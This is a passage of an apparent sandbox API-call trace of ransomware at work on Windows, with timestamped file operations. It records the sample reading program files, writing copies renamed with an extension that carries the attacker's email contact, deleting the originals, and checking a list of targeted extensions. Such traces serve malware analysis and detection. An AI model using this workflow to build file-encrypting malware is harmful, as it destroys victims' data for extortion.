shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0147.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0147.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0147.831] lstrlenW (lpString=".doc") returned 4 [0147.831] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0147.831] lstrlenW (lpString=".docx") returned 5 [0147.831] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0147.831] lstrlenW (lpString=".pdf") returned 4 [0147.831] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0147.831] lstrlenW (lpString=".xls") returned 4 [0147.831] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0147.831] lstrlenW (lpString=".xlsx") returned 5 [0147.831] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0147.831] lstrlenW (lpString=".ppt") returned 4 [0147.831] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0147.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0147.831] lstrlenW (lpString=".zip") returned 4 [0147.831] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0147.831] lstrlenW (lpString=".rar") returned 4 [0147.831] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0147.831] lstrlenW (lpString=".bz2") returned 4 [0147.831] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0147.831] lstrlenW (lpString=".7z") returned 3 [0147.831] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0147.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0147.831] lstrlenW (lpString=".dbf") returned 4 [0147.831] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0147.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0147.831] lstrlenW (lpString=".1cd") returned 4 [0147.831] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0147.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0147.831] lstrlenW (lpString=".jpg") returned 4 [0147.831] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0147.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0147.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0147.832] lstrlenW (lpString=".doc") returned 4 [0147.832] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0147.832] lstrlenW (lpString=".docx") returned 5 [0147.832] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0147.832] lstrlenW (lpString=".pdf") returned 4 [0147.832] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0147.832] lstrlenW (lpString=".xls") returned 4 [0147.832] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0147.832] lstrlenW (lpString=".xlsx") returned 5 [0147.832] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0147.832] lstrlenW (lpString=".ppt") returned 4 [0147.832] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0147.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0147.832] lstrlenW (lpString=".zip") returned 4 [0147.832] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0147.832] lstrlenW (lpString=".rar") returned 4 [0147.832] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0147.832] lstrlenW (lpString=".bz2") returned 4 [0147.832] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0147.832] lstrlenW (lpString=".7z") returned 3 [0147.832] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0147.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0147.832] lstrlenW (lpString=".dbf") returned 4 [0147.832] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0147.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0147.832] lstrlenW (lpString=".1cd") returned 4 [0147.832] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0147.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0147.832] lstrlenW (lpString=".jpg") returned 4 [0147.832] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0147.832] lstrcmpiW (lpString1=".cpl", lpString2=".btix") returned 1 [0147.833] lstrlenW (lpString="javacpl.cpl") returned 11 [0147.833] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0148.270] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=187392) returned 1 [0148.270] CloseHandle (hObject=0x39c) returned 1 [0148.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl")) returned 0x20 [0148.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.270] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0148.270] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.270] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.270] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0148.271] GetLastError () returned 0x0 [0148.271] ReadFile (in: hFile=0x39c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x2dc00, lpOverlapped=0x0) returned 1 [0148.298] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x2dc10, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x2dc10, lpOverlapped=0x0) returned 1 [0148.301] ReadFile (in: hFile=0x39c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0148.301] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xea, lpOverlapped=0x0) returned 1 [0148.301] SetEndOfFile (hFile=0x3a0) returned 1 [0148.306] CloseHandle (hObject=0x3a0) returned 1 [0148.306] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.306] SetEndOfFile (hFile=0x39c) returned 1 [0148.319] CloseHandle (hObject=0x39c) returned 1 [0148.319] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0148.320] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl")) returned 1 [0148.320] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0148.320] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0148.320] lstrlenW (lpString=".doc") returned 4 [0148.320] lstrcmpiW (lpString1=".doc", lpString2=".cpl") returned 1 [0148.320] lstrlenW (lpString=".docx") returned 5 [0148.320] lstrcmpiW (lpString1=".docx", lpString2="l.cpl") returned -1 [0148.320] lstrlenW (lpString=".pdf") returned 4 [0148.320] lstrcmpiW (lpString1=".pdf", lpString2=".cpl") returned 1 [0148.320] lstrlenW (lpString=".xls") returned 4 [0148.320] lstrcmpiW (lpString1=".xls", lpString2=".cpl") returned 1 [0148.320] lstrlenW (lpString=".xlsx") returned 5 [0148.320] lstrcmpiW (lpString1=".xlsx", lpString2="l.cpl") returned -1 [0148.320] lstrlenW (lpString=".ppt") returned 4 [0148.320] lstrcmpiW (lpString1=".ppt", lpString2=".cpl") returned 1 [0148.320] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0148.320] lstrlenW (lpString=".zip") returned 4 [0148.320] lstrcmpiW (lpString1=".zip", lpString2=".cpl") returned 1 [0148.320] lstrlenW (lpString=".rar") returned 4 [0148.320] lstrcmpiW (lpString1=".rar", lpString2=".cpl") returned 1 [0148.320] lstrlenW (lpString=".bz2") returned 4 [0148.320] lstrcmpiW (lpString1=".bz2", lpString2=".cpl") returned -1 [0148.320] lstrlenW (lpString=".7z") returned 3 [0148.320] lstrcmpiW (lpString1=".7z", lpString2="cpl") returned -1 [0148.320] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0148.320] lstrlenW (lpString=".dbf") returned 4 [0148.321] lstrcmpiW (lpString1=".dbf", lpString2=".cpl") returned 1 [0148.321] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0148.321] lstrlenW (lpString=".1cd") returned 4 [0148.321] lstrcmpiW (lpString1=".1cd", lpString2=".cpl") returned -1 [0148.321] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0148.321] lstrlenW (lpString=".jpg") returned 4 [0148.321] lstrcmpiW (lpString1=".jpg", lpString2=".cpl") returned 1 [0148.321] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0148.321] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0148.321] lstrlenW (lpString=".doc") returned 4 [0148.321] lstrcmpiW (lpString1=".doc", lpString2=".cpl") returned 1 [0148.321] lstrlenW (lpString=".docx") returned 5 [0148.321] lstrcmpiW (lpString1=".docx", lpString2="l.cpl") returned -1 [0148.321] lstrlenW (lpString=".pdf") returned 4 [0148.321] lstrcmpiW (lpString1=".pdf", lpString2=".cpl") returned 1 [0148.321] lstrlenW (lpString=".xls") returned 4 [0148.321] lstrcmpiW (lpString1=".xls", lpString2=".cpl") returned 1 [0148.321] lstrlenW (lpString=".xlsx") returned 5 [0148.321] lstrcmpiW (lpString1=".xlsx", lpString2="l.cpl") returned -1 [0148.321] lstrlenW (lpString=".ppt") returned 4 [0148.321] lstrcmpiW (lpString1=".ppt", lpString2=".cpl") returned 1 [0148.321] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0148.321] lstrlenW (lpString=".zip") returned 4 [0148.321] lstrcmpiW (lpString1=".zip", lpString2=".cpl") returned 1 [0148.321] lstrlenW (lpString=".rar") returned 4 [0148.321] lstrcmpiW (lpString1=".rar", lpString2=".cpl") returned 1 [0148.321] lstrlenW (lpString=".bz2") returned 4 [0148.321] lstrcmpiW (lpString1=".bz2", lpString2=".cpl") returned -1 [0148.321] lstrlenW (lpString=".7z") returned 3 [0148.321] lstrcmpiW (lpString1=".7z", lpString2="cpl") returned -1 [0148.321] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0148.321] lstrlenW (lpString=".dbf") returned 4 [0148.321] lstrcmpiW (lpString1=".dbf", lpString2=".cpl") returned 1 [0148.321] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0148.321] lstrlenW (lpString=".1cd") returned 4 [0148.321] lstrcmpiW (lpString1=".1cd", lpString2=".cpl") returned -1 [0148.322] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0148.322] lstrlenW (lpString=".jpg") returned 4 [0148.322] lstrcmpiW (lpString1=".jpg", lpString2=".cpl") returned 1 [0148.322] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0148.322] lstrlenW (lpString="javafx_iio.dll") returned 14 [0148.322] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0148.322] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=128064) returned 1 [0148.322] CloseHandle (hObject=0x39c) returned 1 [0148.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll")) returned 0x20 [0148.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.322] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0148.322] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.322] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.322] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0148.323] GetLastError () returned 0x0 [0148.323] ReadFile (in: hFile=0x39c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x1f440, lpOverlapped=0x0) returned 1 [0148.328] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x1f450, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x1f450, lpOverlapped=0x0) returned 1 [0148.330] ReadFile (in: hFile=0x39c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0148.330] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xf0, lpOverlapped=0x0) returned 1 [0148.330] SetEndOfFile (hFile=0x3a0) returned 1 [0148.330] CloseHandle (hObject=0x3a0) returned 1 [0148.330] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.330] SetEndOfFile (hFile=0x39c) returned 1 [0148.332] CloseHandle (hObject=0x39c) returned 1 [0148.332] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0148.332] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll")) returned 1 [0148.332] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0148.332] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0148.332] lstrlenW (lpString=".doc") returned 4 [0148.332] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.332] lstrlenW (lpString=".docx") returned 5 [0148.332] lstrcmpiW (lpString1=".docx", lpString2="o.dll") returned -1 [0148.332] lstrlenW (lpString=".pdf") returned 4 [0148.332] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.332] lstrlenW (lpString=".xls") returned 4 [0148.332] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.332] lstrlenW (lpString=".xlsx") returned 5 [0148.332] lstrcmpiW (lpString1=".xlsx", lpString2="o.dll") returned -1 [0148.332] lstrlenW (lpString=".ppt") returned 4 [0148.332] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.332] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0148.332] lstrlenW (lpString=".zip") returned 4 [0148.332] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.332] lstrlenW (lpString=".rar") returned 4 [0148.333] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.333] lstrlenW (lpString=".bz2") returned 4 [0148.333] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.333] lstrlenW (lpString=".7z") returned 3 [0148.333] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.333] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0148.333] lstrlenW (lpString=".dbf") returned 4 [0148.333] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.333] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0148.333] lstrlenW (lpString=".1cd") returned 4 [0148.333] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.333] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0148.333] lstrlenW (lpString=".jpg") returned 4 [0148.333] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.333] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0148.333] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0148.333] lstrlenW (lpString=".doc") returned 4 [0148.333] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.333] lstrlenW (lpString=".docx") returned 5 [0148.333] lstrcmpiW (lpString1=".docx", lpString2="o.dll") returned -1 [0148.333] lstrlenW (lpString=".pdf") returned 4 [0148.333] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.333] lstrlenW (lpString=".xls") returned 4 [0148.333] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.333] lstrlenW (lpString=".xlsx") returned 5 [0148.333] lstrcmpiW (lpString1=".xlsx", lpString2="o.dll") returned -1 [0148.333] lstrlenW (lpString=".ppt") returned 4 [0148.333] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.333] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0148.333] lstrlenW (lpString=".zip") returned 4 [0148.333] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.334] lstrlenW (lpString=".rar") returned 4 [0148.334] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.334] lstrlenW (lpString=".bz2") returned 4 [0148.334] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.334] lstrlenW (lpString=".7z") returned 3 [0148.334] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.334] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0148.334] lstrlenW (lpString=".dbf") returned 4 [0148.334] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.334] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0148.334] lstrlenW (lpString=".1cd") returned 4 [0148.334] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.334] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0148.334] lstrlenW (lpString=".jpg") returned 4 [0148.334] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.334] lstrcmpiW (lpString1=".exe", lpString2=".btix") returned 1 [0148.334] lstrlenW (lpString="javaw.exe") returned 9 [0148.334] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0148.335] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=206912) returned 1 [0148.335] CloseHandle (hObject=0x39c) returned 1 [0148.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe")) returned 0x20 [0148.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.335] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0148.335] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.335] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.335] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0148.335] GetLastError () returned 0x0 [0148.335] ReadFile (in: hFile=0x39c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x32840, lpOverlapped=0x0) returned 1 [0148.346] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x32850, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x32850, lpOverlapped=0x0) returned 1 [0148.717] ReadFile (in: hFile=0x39c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0148.718] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xe6, lpOverlapped=0x0) returned 1 [0148.718] SetEndOfFile (hFile=0x3a0) returned 1 [0148.718] CloseHandle (hObject=0x3a0) returned 1 [0148.718] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.718] SetEndOfFile (hFile=0x39c) returned 1 [0148.720] CloseHandle (hObject=0x39c) returned 1 [0148.720] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0148.721] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe")) returned 1 [0148.721] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0148.721] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0148.721] lstrlenW (lpString=".doc") returned 4 [0148.721] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0148.721] lstrlenW (lpString=".docx") returned 5 [0148.721] lstrcmpiW (lpString1=".docx", lpString2="w.exe") returned -1 [0148.721] lstrlenW (lpString=".pdf") returned 4 [0148.721] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0148.721] lstrlenW (lpString=".xls") returned 4 [0148.726] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0148.726] lstrlenW (lpString=".xlsx") returned 5 [0148.726] lstrcmpiW (lpString1=".xlsx", lpString2="w.exe") returned -1 [0148.726] lstrlenW (lpString=".ppt") returned 4 [0148.727] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0148.727] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0148.737] lstrlenW (lpString=".zip") returned 4 [0148.737] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0148.737] lstrlenW (lpString=".rar") returned 4 [0148.738] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0148.738] lstrlenW (lpString=".bz2") returned 4 [0148.738] lstrcmpiW 